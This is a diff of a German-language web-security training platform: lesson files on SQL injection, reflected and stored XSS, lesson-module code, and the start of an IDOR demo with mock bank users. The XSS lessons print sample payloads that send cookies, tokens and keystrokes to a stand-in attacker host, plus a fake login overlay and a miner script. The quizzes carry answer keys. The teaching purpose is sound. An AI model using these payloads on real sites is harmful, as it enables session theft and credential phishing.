In dieser Lektion werden Sie einen verwundbaren Online-Shop erkunden, um zu verstehen, wie SQL Injection funktioniert und warum korrekte Eingabevalidierung entscheidend ist.
- id: "shop-demo"
type: "interactive"
title: "Vulnerable Online Shop"
title: "Verwundbarer Online-Shop"
interactiveComponent: "SQLShopDemo"
content: |
Below is a simplified online shop with a product search feature. The search functionality is vulnerable to SQL injection.
Unten sehen Sie einen vereinfachten Online-Shop mit einer Produktsuchfunktion. Die Suchfunktion ist anfällig für SQL Injection.
Try searching for normal products first, then experiment with SQL injection techniques.
Versuchen Sie zunächst, nach normalen Produkten zu suchen, und experimentieren Sie dann mit SQL Injection-Techniken.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Which of the following search inputs could be used to exploit SQL injection?"
question: "Welche der folgenden Sucheingaben könnten verwendet werden, um SQL Injection auszunutzen?"
options:
- id: "normal-search"
text: "laptop"
@ -51,93 +51,79 @@ steps:
points: 10
maxPoints: 40
feedback:
correct: "Correct! These inputs manipulate the SQL query structure."
incorrect: "Review the demo. SQL injection exploits use special characters like quotes and SQL keywords."
correct: "Richtig! Diese Eingaben manipulieren die SQL-Abfragestruktur."
incorrect: "Überprüfen Sie die Demo. SQL Injection-Exploits verwenden Sonderzeichen wie Anführungszeichen und SQL-Schlüsselwörter."
- id: "detection"
type: "content"
title: "How SQL Injection Works"
title: "Wie SQL Injection funktioniert"
content: |
A vulnerable query might look like:
Eine verwundbare Abfrage könnte so aussehen:
SELECT * FROM products WHERE name LIKE '%[USER_INPUT]%'
When a user searches for "laptop", the query becomes:
Wenn ein Benutzer nach "laptop" sucht, wird die Abfrage zu:
SELECT * FROM products WHERE name LIKE '%laptop%'
But if they enter "' OR '1'='1", it becomes:
Wenn er aber "' OR '1'='1" eingibt, wird sie zu:
SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'
The OR '1'='1' condition is always true, so ALL products are returned!
Die Bedingung OR '1'='1' ist immer wahr, also werden ALLE Produkte zurückgegeben!
More dangerous attacks can extract data from other tables or even delete data.
Gefährlichere Angriffe können Daten aus anderen Tabellen extrahieren oder sogar Daten löschen.
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "What is the BEST way to prevent SQL injection vulnerabilities?"
question: "Was ist der BESTE Weg, um SQL Injection-Schwachstellen zu verhindern?"
options:
- id: "input-filtering"
text: "Filter out dangerous characters like quotes and semicolons"
text: "Gefährliche Zeichen wie Anführungszeichen und Semikolons herausfiltern"
isCorrect: false
points: 0
- id: "parameterized-queries"
text: "Use parameterized queries (prepared statements)"
text: "Parametrisierte Abfragen (Prepared Statements) verwenden"
isCorrect: true
points: 30
- id: "stored-procedures"
text: "Only use stored procedures for database access"
text: "Nur gespeicherte Prozeduren für den Datenbankzugriff verwenden"
isCorrect: false
points: 0
- id: "input-length"
text: "Limit the length of user inputs"
text: "Die Länge von Benutzereingaben begrenzen"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Excellent! Parameterized queries separate SQL code from user data, making injection impossible."
incorrect: "While filtering helps, parameterized queries are the gold standard. They ensure user input is always treated as data, never as SQL code."
correct: "Ausgezeichnet! Parametrisierte Abfragen trennen SQL-Code von Benutzerdaten und machen Injection unmöglich."
incorrect: "Während Filterung hilft, sind parametrisierte Abfragen der Goldstandard. Sie stellen sicher, dass Benutzereingaben immer als Daten behandelt werden, niemals als SQL-Code."
- id: "mitigation"
type: "content"
title: "Preventing SQL Injection"
title: "SQL Injection verhindern"
content: |
Best practices to prevent SQL injection:
Best Practices zur Verhinderung von SQL Injection:
1. **Parameterized Queries** (Most Important)
Use prepared statements with bound parameters
• Never concatenate user input into SQL strings
1. **Parametrisierte Abfragen** (Am wichtigsten)
Prepared Statements mit gebundenen Parametern verwenden
• Niemals Benutzereingaben in SQL-Strings konkatenieren
2. **Input Validation**
Validate data types (numbers, emails, etc.)
Use allowlists for expected values
2. **Eingabevalidierung**
Datentypen validieren (Zahlen, E-Mails, etc.)
Allowlists für erwartete Werte verwenden
3. **Least Privilege**
• Database accounts should have minimal permissions
Read-only accounts for read operations
3. **Minimale Berechtigungen**
• Datenbankkonten sollten minimale Berechtigungen haben
Nur-Lese-Konten für Leseoperationen
4. **Web Application Firewalls**
Can detect and block SQL injection attempts
• Should be used as an additional layer, not primary defense
Können SQL Injection-Versuche erkennen und blockieren
• Sollten als zusätzliche Ebene verwendet werden, nicht als primäre Verteidigung
5. **Regular Security Audits**
• Code reviews and penetration testing
• Automated vulnerability scanning
- id: "question-3"
type: "question"
questionType: "free_text"
question: "In your own words, explain why parameterized queries prevent SQL injection."
validationRules:
keywords:
required: ["parameter", "data", "separate"]
partialCredit: 10
minLength: 50
maxPoints: 30
feedback:
correct: "Great explanation! You understand that parameterized queries keep SQL structure separate from user data."
incorrect: "Think about how parameterized queries treat user input differently than string concatenation. Key concepts: separation of code and data."
5. **Regelmäßige Sicherheitsaudits**
• Code-Reviews und Penetrationstests
• Automatisiertes Schwachstellen-Scanning
scoring:
passingScore: 70
maxTotalPoints: 100
passingScore: 90
maxTotalPoints: 180 # 70 from questions + up to 110 from 3 simplified challenges (30+40+80) with time bonuses

View File

@ -0,0 +1,387 @@
lessonKey: "xss-comprehensive"
title: "Cross-Site Scripting (XSS) - Reflected & Stored Angriffe"
description: "Lernen Sie, wie XSS-Angriffe durch URL-Manipulation und benutzergenerierte Inhalte funktionieren und wie man sie erkennt"
difficultyLevel: "intermediate"
estimatedDuration: 35
module: "xss-comprehensive"
steps:
- id: "intro"
type: "content"
title: "Was ist Cross-Site Scripting (XSS)?"
content: |
Cross-Site Scripting (XSS) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen JavaScript-Code in Webseiten einzuschleusen, die von anderen Benutzern angesehen werden.
XSS kann auftreten, wenn:
• Benutzereingaben ohne ordnungsgemäße Bereinigung angezeigt werden
• URL-Parameter im Seiteninhalt wiedergegeben werden
• Benutzergenerierte Inhalte als HTML gerendert werden
**Arten von XSS:**
• **Reflected XSS** - Payload ist Teil der Anfrage (z.B. URL-Parameter)
• **Stored XSS** - Payload wird in der Datenbank gespeichert und anderen Benutzern angezeigt
• **DOM-basiertes XSS** - Payload manipuliert direkt das Document Object Model
**Was Angreifer mit XSS tun können:**
• Session-Cookies stehlen und Konten übernehmen
• Benutzer auf Phishing-Seiten umleiten
• Websites verunstalten
• Keylogger installieren
• Auf sensible Daten zugreifen
• Malware verteilen
- id: "reflected-xss"
type: "content"
title: "Reflected XSS - URL-Parameter-Injection"
content: |
**Wie URL-Parameter funktionieren:**
Viele Websites verwenden URL-Parameter (auch Query-Strings genannt), um Daten zu übergeben:
https://beispiel-shop.com/produkt?name=Laptop&kategorie=Elektronik
In dieser URL:
• name=Laptop ist ein Parameter
• kategorie=Elektronik ist ein weiterer Parameter
**Deeplinks:**
Deeplinks sind URLs, die direkt auf bestimmte Inhalte innerhalb einer Website oder App verlinken. Sie enthalten oft Parameter, die den angezeigten Inhalt anpassen.
**Die Sicherheitslücke:**
Wenn eine Website URL-Parameterwerte ohne Bereinigung anzeigt, kann ein Angreifer bösartigen Code einschleusen:
https://beispiel-shop.com/produkt?name=<script>alert('XSS')</script>
Wenn die Seite den "name"-Parameter anzeigt, wird das Skript ausgeführt!
**Wie Reflected XSS funktioniert:**
Wenn eine anfällige Anwendung empfängt:
https://shop.com/suche?q=<script>alert(1)</script>
Und es so anzeigt:
<div>Suchergebnisse für: <script>alert(1)</script></div>
Der Browser führt das Script-Tag aus und führt den Code des Angreifers aus!
- id: "xss-demo"
type: "interactive"
title: "Reflected XSS Demo"
interactiveComponent: "XSSDeeplinkDemo"
content: |
Unten sehen Sie eine Demonstration, wie Reflected XSS durch URL-Parameter-Injection funktioniert. Die anfällige Version zeigt Benutzereingaben direkt an, während die sichere Version Sonderzeichen kodiert.
Probieren Sie die Beispiel-Payloads aus, um zu sehen, wie verschiedene XSS-Techniken funktionieren. Beachten Sie, wie die Kodierung verhindert, dass der bösartige Code ausgeführt wird.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden sind gültige XSS-Payloads, die über URL-Parameter eingeschleust werden können?"
options:
- id: "script-alert"
text: "<script>alert('XSS')</script>"
isCorrect: true
points: 6
- id: "img-onerror"
text: "<img src=x onerror='alert(1)'>"
isCorrect: true
points: 6
- id: "svg-onload"
text: "<svg onload='alert(1)'></svg>"
isCorrect: true
points: 6
- id: "iframe-src"
text: "<iframe src='javascript:alert(1)'></iframe>"
isCorrect: true
points: 7
- id: "normal-text"
text: "Nur ein normaler Produktname"
isCorrect: false
points: 0
maxPoints: 25
feedback:
correct: "Ausgezeichnet! Sie haben alle XSS-Payloads identifiziert. Diese Muster können JavaScript in anfälligen Anwendungen ausführen."
partial: "Gut! Sie haben einige XSS-Payloads erkannt. Überprüfen Sie die Muster: Script-Tags, Event-Handler und Protocol-Injections."
incorrect: "Schauen Sie sich die Demo an und suchen Sie nach Mustern, die HTML-Tags, Event-Handler oder JavaScript-Protokolle enthalten."
- id: "stored-xss"
type: "content"
title: "Stored XSS - Persistente Angriffe"
content: |
Stored XSS (Cross-Site Scripting) ist eine Art von Injection-Angriff, bei dem bösartige Skripte dauerhaft auf einem Zielserver gespeichert werden. Im Gegensatz zu Reflected XSS, bei dem das Opfer auf einen bösartigen Link klicken muss, betrifft Stored XSS alle Benutzer, die den kompromittierten Inhalt ansehen.
**Häufige Ziele:**
• Forum-Beiträge und Kommentare
• Benutzerprofile und Biografien
• Produktbewertungen
• Feedback-Formulare
• Social-Media-Beiträge
• Blog-Kommentare
• Wiki-Seiten
**Auswirkungen:**
• Cookie-Diebstahl und Session-Hijacking
• Kontoübernahme
• Malware-Verteilung
• Website-Verunstaltung
• Phishing-Angriffe auf andere Benutzer
• Keylogging
• Datendiebstahl
**Warum Stored XSS besonders gefährlich ist:**
1. Es bleibt in der Datenbank bestehen
2. Es betrifft automatisch mehrere Benutzer
3. Es erfordert kein Social Engineering zur Verbreitung
4. Es kann über lange Zeiträume unentdeckt bleiben
- id: "real-world"
type: "content"
title: "Reale Stored-XSS-Angriffe"
content: |
**Samy Worm (MySpace, 2005)**
Samy Kamkar erstellte einen sich selbst verbreitenden XSS-Wurm in seinem MySpace-Profil, der ihn automatisch als Freund zu jedem Profil hinzufügte, das ihn ansah. Der Wurm kopierte sich auch auf jedes infizierte Profil und verbreitete sich exponentiell.
Innerhalb von 20 Stunden waren über 1 Million Benutzer betroffen, was Samy zur beliebtesten Person auf MySpace machte. Die Website musste offline genommen werden, um den Wurm zu entfernen.
**TweetDeck XSS (Twitter, 2014)**
Eine Stored-XSS-Schwachstelle in TweetDeck ermöglichte es Angreifern, bösartigen Code über Tweets einzuschleusen. Als andere Benutzer diese Tweets in TweetDeck ansahen, wurde der Code automatisch ausgeführt und verursachte:
• Automatische Retweets der bösartigen Payload
• Pop-up-Benachrichtigungen für alle Betrachter
• Schnelle Verbreitung über die Plattform
**eBay Stored XSS (2015-2016)**
Mehrere Stored-XSS-Schwachstellen wurden in den Artikelbeschreibungen von eBay entdeckt. Angreifer konnten:
• Code in Produktbeschreibungen einschleusen
• Benutzeranmeldeinformationen stehlen, wenn Käufer Angebote ansahen
• Benutzer auf Phishing-Seiten umleiten
• Konten von Käufern und Verkäufern kompromittieren
**British Airways XSS (2018)**
Angreifer schleusten bösartiges JavaScript über eine Stored-XSS-Schwachstelle in die Zahlungsseite von British Airways ein. Das Skript:
• Erfasste Kreditkarteninformationen
• Sendete Daten an vom Angreifer kontrollierte Server
• Betraf über 380.000 Transaktionen
• Kostete British Airways über 20 Millionen Pfund an Strafen
Diese Angriffe demonstrieren, warum Eingabevalidierung und Output-Encoding für jede Anwendung, die benutzergenerierte Inhalte akzeptiert, kritisch sind.
- id: "forum-demo"
type: "interactive"
title: "Stored XSS Forum Demo"
interactiveComponent: "ForumScriptDemo"
content: |
Unten sehen Sie ein vereinfachtes Forum, das Benutzerkommentare OHNE ordnungsgemäße Eingabevalidierung oder Output-Encoding akzeptiert. Versuchen Sie zuerst, normale Kommentare zu posten, und experimentieren Sie dann mit Script-Injection-Payloads.
Beachten Sie, wie die bösartigen Skripte gespeichert werden und alle Benutzer betreffen würden, die das Forum ansehen. In dieser Demo zeigen wir die Payloads sicher als Text an, anstatt sie auszuführen, mit klaren Warnungen, wenn eine Injection erkannt wird.
**Probieren Sie diese Aktionen:**
1. Posten Sie einen normalen Kommentar, um sicheres Verhalten zu sehen
2. Versuchen Sie Beispiel-XSS-Payloads, um die Erkennung zu sehen
3. Verwenden Sie die Reload-Schaltfläche, um das Forum zurückzusetzen
- id: "question-2"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden Payloads könnten für Stored-XSS-Angriffe in einem Forum verwendet werden?"
options:
- id: "script-cookie"
text: "<script>fetch('http://angreifer.com/steal?c='+document.cookie)</script>"
isCorrect: true
points: 6
- id: "img-steal"
text: "<img src=x onerror='fetch(\"http://evil.com?data=\"+document.cookie)'>"
isCorrect: true
points: 6
- id: "svg-payload"
text: "<svg onload='alert(document.domain)'></svg>"
isCorrect: true
points: 6
- id: "iframe-phishing"
text: "<iframe src='http://phishing-site.com' style='width:100%;height:500px'></iframe>"
isCorrect: true
points: 7
- id: "normal-comment"
text: "Dies ist ein normaler Kommentar ohne bösartigen Code"
isCorrect: false
points: 0
maxPoints: 25
feedback:
correct: "Ausgezeichnet! Sie haben alle gefährlichen Payloads identifiziert, die auf dem Server bestehen bleiben und mehrere Benutzer betreffen können."
partial: "Gut! Sie haben einige Bedrohungen erkannt, aber überprüfen Sie die Muster, die Code-Ausführung durch HTML-Tags und Event-Handler ermöglichen."
incorrect: "Überprüfen Sie die Demo. Suchen Sie nach Mustern, die Script-Tags, Event-Handler wie onerror oder onload oder eingebettete Inhalte wie iframes enthalten."
- id: "attack-vectors"
type: "content"
title: "XSS-Angriffsvektoren"
content: |
Gängige Techniken, die Angreifer bei XSS-Angriffen verwenden:
**1. Cookie-Diebstahl**
<script>
fetch('http://angreifer.com/steal?cookie=' + document.cookie);
</script>
Stiehlt Authentifizierungs-Cookies und ermöglicht Kontoübernahme. Der Angreifer kann dann jeden Benutzer imitieren, der den Kommentar angesehen hat.
**2. Session-Hijacking**
<script>
var token = localStorage.getItem('authToken');
fetch('http://angreifer.com/steal?token=' + token);
</script>
Extrahiert Session-Token aus dem Browser-Speicher und kompromittiert Benutzersitzungen.
**3. Keylogging**
<script>
document.addEventListener('keypress', function(e) {
fetch('http://angreifer.com/keys?k=' + e.key);
});
</script>
Zeichnet jeden Tastendruck auf der Seite auf und erfasst Passwörter und sensible Informationen.
**4. Verunstaltung**
<script>
document.body.innerHTML = '<h1>Website gehackt!</h1>';
</script>
Ändert den sichtbaren Inhalt für alle Benutzer und beschädigt Reputation und Vertrauen.
**5. Phishing-Overlay**
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999">
<form action="http://angreifer.com/phish">
<h2>Sitzung abgelaufen - Bitte erneut anmelden</h2>
Benutzername: <input name="user"><br>
Passwort: <input type="password" name="pass"><br>
<button>Anmelden</button>
</form>
</div>
Zeigt ein gefälschtes Login-Formular über der echten Seite an und erfasst Anmeldeinformationen.
**6. Kryptowährungs-Mining**
<script src="http://angreifer.com/cryptominer.js"></script>
Mined heimlich Kryptowährung mit den CPU-Ressourcen der Besucher.
**7. Malware-Verteilung**
<script>
window.location = 'http://angreifer.com/download-malware.exe';
</script>
Leitet Benutzer zu Malware-Downloads oder Drive-by-Download-Angriffen um.
- id: "question-3"
type: "question"
questionType: "single_choice"
question: "Warum gilt Stored XSS im Allgemeinen als GEFÄHRLICHER als Reflected XSS?"
options:
- id: "easier-exploit"
text: "Es ist einfacher auszunutzen, da es keine Sonderzeichen erfordert"
isCorrect: false
points: 0
- id: "persistent-victims"
text: "Es bleibt auf dem Server bestehen und betrifft alle Benutzer, die den Inhalt ansehen, nicht nur diejenigen, die auf einen bösartigen Link klicken"
isCorrect: true
points: 30
- id: "no-detection"
text: "Es kann nicht von Sicherheitstools oder Antiviren-Software erkannt werden"
isCorrect: false
points: 0
- id: "admin-access"
text: "Es gewährt Angreifern automatisch Administratorzugriff auf den Server"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Perfekt! Stored XSS ist eine persistente Bedrohung, die viele Benutzer über die Zeit betreffen kann, ohne dass eine individuelle Zielerfassung erforderlich ist. Es bleibt in der Datenbank und wird jedes Mal ausgeführt, wenn jemand es ansieht."
incorrect: "Denken Sie über den Unterschied zwischen einer Payload, die an jedes Opfer gesendet werden muss, und einer, die einmal gespeichert wird und jeden betrifft. Persistenz und automatische Verbreitung sind die Hauptgefahren."
- id: "prevention"
type: "content"
title: "XSS-Angriffe verhindern"
content: |
**Defense-in-Depth-Ansatz:**
**1. Output-Encoding (Am wichtigsten)**
Kodieren Sie Ausgaben immer kontextabhängig:
• **HTML-Kontext:** < wird zu &lt;, > wird zu &gt;
• **JavaScript-Kontext:** Verwenden Sie JSON.stringify() für Daten
• **URL-Kontext:** Verwenden Sie encodeURIComponent()
• **CSS-Kontext:** Vermeiden Sie Benutzereingaben in CSS
**Vertrauen Sie niemals Inhalten aus der Datenbank** - selbst wenn sie bei der Eingabe validiert wurden, kodieren Sie immer bei der Ausgabe!
**2. Content Security Policy (CSP)**
Setzen Sie HTTP-Header, um Script-Quellen einzuschränken:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
object-src 'none';
base-uri 'self';
form-action 'self';
CSP-Vorteile:
• Verhindert Ausführung von Inline-Skripten
• Beschränkt Ressourcen-Laden auf vertrauenswürdige Quellen
• Mindert Auswirkungen, selbst wenn XSS durchkommt
• Bietet Verletzungsberichte zur Überwachung
**3. Eingabevalidierung**
• Validieren Sie alle Benutzereingaben gegen das erwartete Format
• Verwenden Sie Allowlists für akzeptable Zeichen
• Lehnen Sie Eingaben ab, die verdächtige Muster enthalten
• Validieren Sie Datentyp, Länge und Format
• Vertrauen Sie niemals allein auf clientseitige Validierung
**4. HTTPOnly und Secure Cookies**
Setzen Sie das HTTPOnly-Flag auf Session-Cookies:
Set-Cookie: sessionId=abc123;
HttpOnly;
Secure;
SameSite=Strict
• **HttpOnly** - Verhindert JavaScript-Zugriff auf Cookies
• **Secure** - Stellt HTTPS-only-Übertragung sicher
• **SameSite** - Verhindert CSRF-Angriffe
Dies verhindert, dass JavaScript auf Cookies zugreift und begrenzt die Auswirkungen von XSS.
**5. Web Application Firewall (WAF)**
• Kann XSS-Versuche erkennen und blockieren
• Sollte als zusätzliche Ebene verwendet werden, nicht als primäre Verteidigung
• Bietet Überwachung und Alarmierung
• Updates zum Blockieren neuer Angriffsmuster
**6. Regelmäßige Sicherheitsaudits**
• Statische Code-Analyse (SAST-Tools)
• Dynamische Sicherheitstests (DAST-Tools)
• Penetrationstests
• Code-Reviews mit Fokus auf Benutzereingabe-Verarbeitung
• Sicherheitsbewusstseins-Schulungen
- id: "question-4"
type: "question"
questionType: "single_choice"
question: "Was ist der EFFEKTIVSTE Weg, XSS-Angriffe zu verhindern?"
options:
- id: "input-length"
text: "Die Länge der Benutzereingabe begrenzen"
isCorrect: false
points: 0
- id: "output-encoding"
text: "Alle Ausgaben kodieren und Content Security Policy (CSP) implementieren"
isCorrect: true
points: 20
- id: "remove-tags"
text: "Alle HTML-Tags aus Benutzereingaben entfernen"
isCorrect: false
points: 0
- id: "client-validation"
text: "Nur clientseitige JavaScript-Validierung verwenden"
isCorrect: false
points: 0
maxPoints: 20
feedback:
correct: "Perfekt! Output-Encoding wandelt Sonderzeichen um, sodass Browser sie als Text und nicht als Code behandeln. CSP bietet eine zusätzliche Sicherheitsebene."
incorrect: "Während Eingabefilterung helfen kann, ist Output-Encoding unerlässlich. Sonderzeichen wie < und > müssen in &lt; und &gt; umgewandelt werden, damit Browser sie als Text anzeigen, anstatt sie als HTML auszuführen."
scoring:
passingScore: 70
maxTotalPoints: 100

View File

@ -0,0 +1,211 @@
lessonKey: "xss-deeplink-demo"
title: "Cross-Site Scripting (XSS) - Deeplink Injection"
description: "Lernen Sie, wie XSS-Angriffe durch URL-Parameter-Manipulation und Deeplink-Injection funktionieren"
difficultyLevel: "intermediate"
estimatedDuration: 20
module: "xss-deeplink-demo"
steps:
- id: "intro"
type: "content"
title: "Was ist Cross-Site Scripting (XSS)?"
content: |
Cross-Site Scripting (XSS) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen JavaScript-Code in Webseiten einzuschleusen, die von anderen Benutzern angesehen werden.
XSS kann auftreten, wenn:
• Benutzereingaben ohne ordnungsgemäße Bereinigung angezeigt werden
• URL-Parameter im Seiteninhalt wiedergegeben werden
• Benutzergenerierte Inhalte als HTML gerendert werden
**Arten von XSS:**
• **Reflected XSS** - Payload ist Teil der Anfrage (z.B. URL-Parameter)
• **Stored XSS** - Payload wird in der Datenbank gespeichert und anderen Benutzern angezeigt
• **DOM-basiertes XSS** - Payload manipuliert direkt das Document Object Model
**Was Angreifer mit XSS tun können:**
• Session-Cookies stehlen und Konten übernehmen
• Benutzer auf Phishing-Seiten umleiten
• Websites verunstalten
• Keylogger installieren
• Auf sensible Daten zugreifen
- id: "url-params"
type: "content"
title: "Wie URL-Parameter funktionieren"
content: |
Viele Websites verwenden URL-Parameter (auch Query-Strings genannt), um Daten zu übergeben:
https://beispiel-shop.com/produkt?name=Laptop&kategorie=Elektronik
In dieser URL:
• name=Laptop ist ein Parameter
• kategorie=Elektronik ist ein weiterer Parameter
**Deeplinks:**
Deeplinks sind URLs, die direkt auf bestimmte Inhalte innerhalb einer Website oder App verlinken. Sie enthalten oft Parameter, die den angezeigten Inhalt anpassen.
**Die Sicherheitslücke:**
Wenn eine Website URL-Parameterwerte ohne Bereinigung anzeigt, kann ein Angreifer bösartigen Code einschleusen:
https://beispiel-shop.com/produkt?name=<script>alert('XSS')</script>
Wenn die Seite den "name"-Parameter anzeigt, wird das Skript ausgeführt!
- id: "xss-demo"
type: "interactive"
title: "XSS Deeplink Demo"
interactiveComponent: "XSSDeeplinkDemo"
content: |
Unten sehen Sie eine Demonstration, wie XSS durch URL-Parameter-Injection funktioniert. Die anfällige Version zeigt Benutzereingaben direkt an, während die sichere Version Sonderzeichen kodiert.
Probieren Sie die Beispiel-Payloads aus, um zu sehen, wie verschiedene XSS-Techniken funktionieren. Beachten Sie, wie die Kodierung verhindert, dass der bösartige Code ausgeführt wird.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden sind gültige XSS-Payloads, die über URL-Parameter eingeschleust werden können?"
options:
- id: "script-alert"
text: "<script>alert('XSS')</script>"
isCorrect: true
points: 10
- id: "img-onerror"
text: "<img src=x onerror='alert(1)'>"
isCorrect: true
points: 10
- id: "svg-onload"
text: "<svg onload='alert(1)'></svg>"
isCorrect: true
points: 10
- id: "iframe-src"
text: "<iframe src='javascript:alert(1)'></iframe>"
isCorrect: true
points: 10
- id: "normal-text"
text: "Nur ein normaler Produktname"
isCorrect: false
points: 0
maxPoints: 40
feedback:
correct: "Ausgezeichnet! Sie haben alle XSS-Payloads identifiziert. Diese Muster können JavaScript in anfälligen Anwendungen ausführen."
partial: "Gut! Sie haben einige XSS-Payloads erkannt. Überprüfen Sie die Muster: Script-Tags, Event-Handler und Protocol-Injections."
incorrect: "Schauen Sie sich die Demo an und suchen Sie nach Mustern, die HTML-Tags, Event-Handler oder JavaScript-Protokolle enthalten."
- id: "detection-impact"
type: "content"
title: "XSS-Erkennung und Auswirkungen"
content: |
**Wie XSS funktioniert:**
Wenn eine anfällige Anwendung empfängt:
https://shop.com/suche?q=<script>alert(1)</script>
Und es so anzeigt:
<div>Suchergebnisse für: <script>alert(1)</script></div>
Der Browser führt das Script-Tag aus und führt den Code des Angreifers aus!
**Auswirkungen in der Praxis:**
**Cookie-Diebstahl:**
<script>
fetch('http://angreifer.com/steal?cookie=' + document.cookie);
</script>
Sendet die Cookies des Opfers an den Server des Angreifers.
**Session-Hijacking:**
Sobald der Angreifer den Session-Cookie hat, kann er sich als Benutzer ausgeben und auf dessen Konto zugreifen.
**Phishing:**
<script>
document.body.innerHTML = '<form action="http://angreifer.com">
Passwort eingeben: <input type="password" name="pass">
</form>';
</script>
Ersetzt die Seite durch ein gefälschtes Login-Formular.
**Keylogging:**
<script>
document.addEventListener('keypress', function(e) {
fetch('http://angreifer.com/log?key=' + e.key);
});
</script>
Zeichnet jeden Tastendruck auf der Seite auf.
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "Was ist der EFFEKTIVSTE Weg, XSS-Angriffe zu verhindern?"
options:
- id: "input-length"
text: "Die Länge der Benutzereingabe begrenzen"
isCorrect: false
points: 0
- id: "output-encoding"
text: "Alle Ausgaben kodieren und Content Security Policy (CSP) implementieren"
isCorrect: true
points: 30
- id: "remove-tags"
text: "Alle HTML-Tags aus Benutzereingaben entfernen"
isCorrect: false
points: 0
- id: "client-validation"
text: "Nur clientseitige JavaScript-Validierung verwenden"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Perfekt! Output-Encoding wandelt Sonderzeichen um, sodass Browser sie als Text und nicht als Code behandeln. CSP bietet eine zusätzliche Sicherheitsebene."
incorrect: "Während Eingabefilterung helfen kann, ist Output-Encoding unerlässlich. Sonderzeichen wie < und > müssen in &lt; und &gt; umgewandelt werden, damit Browser sie als Text anzeigen, anstatt sie als HTML auszuführen."
- id: "mitigation"
type: "content"
title: "XSS-Angriffe verhindern"
content: |
**Best Practices:**
**1. Output-Encoding (Am wichtigsten)**
Kodieren Sie Ausgaben immer kontextabhängig:
• **HTML-Kontext:** < wird zu &lt;, > wird zu &gt;
• **JavaScript-Kontext:** Verwenden Sie JSON.stringify() für Daten
• **URL-Kontext:** Verwenden Sie encodeURIComponent()
• **CSS-Kontext:** Vermeiden Sie Benutzereingaben in CSS
**2. Content Security Policy (CSP)**
Setzen Sie HTTP-Header, um Script-Quellen einzuschränken:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
object-src 'none';
Dies verhindert Inline-Skripte und schränkt ein, woher Skripte geladen werden können.
**3. Eingabevalidierung**
• Validieren Sie Datentypen (Zahlen, E-Mails, etc.)
• Verwenden Sie Allowlists für erwartete Werte
• Lehnen Sie unerwartete Muster ab
• Vertrauen Sie niemals allein auf clientseitige Validierung
**4. Framework-Sicherheitsfunktionen**
Moderne Frameworks helfen, XSS zu verhindern:
• **React:** Escapt JSX-Inhalte automatisch
• **Angular:** Eingebaute Bereinigung
• **Vue:** Template-Escaping standardmäßig
⚠️ **Verwenden Sie NIEMALS gefährliche Funktionen:**
• React: `dangerouslySetInnerHTML`
• Angular: `bypassSecurityTrust...`
• Vue: `v-html` mit Benutzerinhalten
**5. HTTPOnly Cookies**
Setzen Sie das HTTPOnly-Flag auf Session-Cookies:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
Dies verhindert, dass JavaScript auf Cookies zugreift und begrenzt die Auswirkungen von XSS.
scoring:
passingScore: 55
maxTotalPoints: 110 # 70 from questions + up to 40 from discovering XSS vectors

View File

@ -183,20 +183,20 @@ class LessonModule {
/**
* Get lesson content for rendering (without answers)
*/
getContent() {
return {
lessonKey: this.lessonKey,
title: this.config.title,
description: this.config.description,
difficultyLevel: this.config.difficultyLevel,
estimatedDuration: this.config.estimatedDuration,
steps: this.config.steps.map(step => ({
async getContent() {
// Map steps and fetch interactive data for interactive steps
const steps = await Promise.all(this.config.steps.map(async step => {
const baseStep = {
id: step.id,
type: step.type,
title: step.title,
content: step.content,
// For question steps, don't send correct answers
...(step.type === 'question' && {
content: step.content
};
// For question steps, don't send correct answers
if (step.type === 'question') {
return {
...baseStep,
questionType: step.questionType,
question: step.question,
maxPoints: step.maxPoints,
@ -205,13 +205,30 @@ class LessonModule {
text: opt.text
// isCorrect and points are intentionally omitted
}))
}),
// For interactive steps, send component info
...(step.type === 'interactive' && {
};
}
// For interactive steps, fetch and include interactive data
if (step.type === 'interactive') {
const interactiveData = await this.getInteractiveData(step.id);
return {
...baseStep,
interactiveComponent: step.interactiveComponent,
componentProps: step.componentProps
})
})),
componentProps: step.componentProps,
interactiveData
};
}
return baseStep;
}));
return {
lessonKey: this.lessonKey,
title: this.config.title,
description: this.config.description,
difficultyLevel: this.config.difficultyLevel,
estimatedDuration: this.config.estimatedDuration,
steps,
scoring: {
maxTotalPoints: this.config.scoring?.maxTotalPoints || 100,
passingScore: this.config.scoring?.passingScore || 70
@ -219,6 +236,44 @@ class LessonModule {
};
}
/**
* Award points for interactive component discoveries
* This method can be called by lesson modules to award points dynamically
* @param {number} participantId - Participant ID
* @param {number} eventLessonId - Event lesson ID
* @param {number} points - Points to award
* @param {string} reason - Reason for points (for tracking)
* @returns {Promise<number>} New total score
*/
async awardPoints(participantId, eventLessonId, points, reason) {
const progressQueries = require('../../src/models/queries/progress.queries');
// Get or create progress
let progress = await progressQueries.getLessonProgress(participantId, eventLessonId);
if (!progress) {
// Auto-start lesson if not started
progress = await progressQueries.startLesson(participantId, eventLessonId);
}
// Award points
const newScore = await progressQueries.updateScore(progress.id, points);
// Optionally save the discovery reason for tracking
if (reason) {
await progressQueries.saveAnswer(
progress.id,
`interactive-${Date.now()}`,
{ type: 'interactive', reason },
true,
points,
reason
);
}
return newScore;
}
/**
* Get full configuration (for debugging/admin)
*/

View File

@ -0,0 +1,259 @@
const LessonModule = require('../base/LessonModule');
/**
* IDOR (Insecure Direct Object Reference) Demo Lesson
* Demonstrates how URL parameter manipulation can expose other users' data
*/
class IDORDemoLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Get mock user database
* @returns {Array} Mock user data
*/
getMockUsers() {
return [
{
id: 1,
name: 'System Administrator',
email: 'admin@securebank.example',
accountBalance: '$999,999.99',
